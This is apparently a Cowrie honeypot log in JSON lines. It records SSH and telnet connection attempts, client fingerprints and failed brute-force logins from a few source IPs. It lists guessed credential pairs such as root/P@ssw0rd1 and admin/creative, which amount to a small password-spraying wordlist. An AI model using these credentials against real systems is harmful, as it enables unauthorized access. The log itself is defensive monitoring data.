{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd1","message":"login attempt [root/P@ssw0rd1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:38.362949Z","src_ip":"176.65.132.129","session":"26a515898fe0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:39.599228Z","src_ip":"176.65.132.129","session":"26a515898fe0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":49670,"dst_ip":"10.17.0.5","dst_port":22,"session":"a282e71b1d1e","protocol":"ssh","message":"New connection: 176.65.132.129:49670 (10.17.0.5:22) [session: a282e71b1d1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:41.402356Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:41.407333Z","src_ip":"176.65.132.129","session":"a282e71b1d1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:41.489519Z","src_ip":"176.65.132.129","session":"a282e71b1d1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"appuser","message":"login attempt [appuser/appuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:41.847220Z","src_ip":"176.65.132.129","session":"a282e71b1d1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:42.930797Z","src_ip":"176.65.132.129","session":"a282e71b1d1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":49680,"dst_ip":"10.17.0.5","dst_port":22,"session":"08ffb14bb47f","protocol":"ssh","message":"New connection: 176.65.132.129:49680 (10.17.0.5:22) [session: 08ffb14bb47f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:44.922089Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:44.926820Z","src_ip":"176.65.132.129","session":"08ffb14bb47f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:45.009761Z","src_ip":"176.65.132.129","session":"08ffb14bb47f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"123456","message":"login attempt [runner/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:45.256325Z","src_ip":"176.65.132.129","session":"08ffb14bb47f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:46.471493Z","src_ip":"176.65.132.129","session":"08ffb14bb47f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":44278,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b925d227c1d","protocol":"telnet","message":"New connection: 38.60.198.128:44278 (159.203.135.109:23) [session: 4b925d227c1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:46.867173Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45124,"dst_ip":"10.17.0.5","dst_port":22,"session":"c61e0a5147c3","protocol":"ssh","message":"New connection: 176.65.132.129:45124 (10.17.0.5:22) [session: c61e0a5147c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:48.264031Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:48.268650Z","src_ip":"176.65.132.129","session":"c61e0a5147c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:48.350402Z","src_ip":"176.65.132.129","session":"c61e0a5147c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root2","password":"123456","message":"login attempt [root2/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:48.763592Z","src_ip":"176.65.132.129","session":"c61e0a5147c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:49.848723Z","src_ip":"176.65.132.129","session":"c61e0a5147c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":54916,"dst_ip":"159.203.135.109","dst_port":23,"session":"e3c57d56982e","protocol":"telnet","message":"New connection: 192.211.53.160:54916 (159.203.135.109:23) [session: e3c57d56982e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:51.642697Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45142,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f2ae4c6570d","protocol":"ssh","message":"New connection: 176.65.132.129:45142 (10.17.0.5:22) [session: 3f2ae4c6570d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:51.725522Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:51.730006Z","src_ip":"176.65.132.129","session":"3f2ae4c6570d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:51.814418Z","src_ip":"176.65.132.129","session":"3f2ae4c6570d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"123456","message":"login attempt [developer/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:52.058653Z","src_ip":"176.65.132.129","session":"3f2ae4c6570d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:53.256534Z","src_ip":"176.65.132.129","session":"3f2ae4c6570d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.257641315460205,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:54.308563Z","src_ip":"192.211.53.160","session":"236a295f5e7d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.73.9","src_port":48146,"dst_ip":"10.17.0.5","dst_port":22,"session":"10abadc2fd81","protocol":"ssh","message":"New connection: 167.172.73.9:48146 (10.17.0.5:22) [session: 10abadc2fd81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:54.505164Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:54.509778Z","src_ip":"167.172.73.9","session":"10abadc2fd81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:54.763014Z","src_ip":"167.172.73.9","session":"10abadc2fd81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45160,"dst_ip":"10.17.0.5","dst_port":22,"session":"dacf9f75471e","protocol":"ssh","message":"New connection: 176.65.132.129:45160 (10.17.0.5:22) [session: dacf9f75471e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:55.060387Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:55.065818Z","src_ip":"176.65.132.129","session":"dacf9f75471e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:55.148701Z","src_ip":"176.65.132.129","session":"dacf9f75471e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"LeitboGi0ro","message":"login attempt [root/LeitboGi0ro] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:55.611217Z","src_ip":"176.65.132.129","session":"dacf9f75471e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"creative","message":"login attempt [admin/creative] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:55.812094Z","src_ip":"167.172.73.9","session":"10abadc2fd81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:56.696719Z","src_ip":"176.65.132.129","session":"dacf9f75471e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:57.067761Z","src_ip":"167.172.73.9","session":"10abadc2fd81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45526,"dst_ip":"10.17.0.5","dst_port":22,"session":"af9aeed9bd58","protocol":"ssh","message":"New connection: 176.65.132.129:45526 (10.17.0.5:22) [session: af9aeed9bd58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:58.575139Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:58.579336Z","src_ip":"176.65.132.129","session":"af9aeed9bd58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:58.661491Z","src_ip":"176.65.132.129","session":"af9aeed9bd58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rock","message":"login attempt [root/rock] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:58.906049Z","src_ip":"176.65.132.129","session":"af9aeed9bd58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:00.030835Z","src_ip":"176.65.132.129","session":"af9aeed9bd58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":35398,"dst_ip":"10.17.0.5","dst_port":23,"session":"63769e62bdac","protocol":"telnet","message":"New connection: 45.81.23.16:35398 (10.17.0.5:23) [session: 63769e62bdac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:00.142276Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":35390,"dst_ip":"10.17.0.5","dst_port":23,"session":"077b9d230a42","protocol":"telnet","message":"New connection: 45.81.23.16:35390 (10.17.0.5:23) [session: 077b9d230a42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:00.781943Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45536,"dst_ip":"10.17.0.5","dst_port":22,"session":"84b78f2831bf","protocol":"ssh","message":"New connection: 176.65.132.129:45536 (10.17.0.5:22) [session: 84b78f2831bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:01.958182Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:01.963381Z","src_ip":"176.65.132.129","session":"84b78f2831bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:02.046304Z","src_ip":"176.65.132.129","session":"84b78f2831bf","protocol":"ssh"}
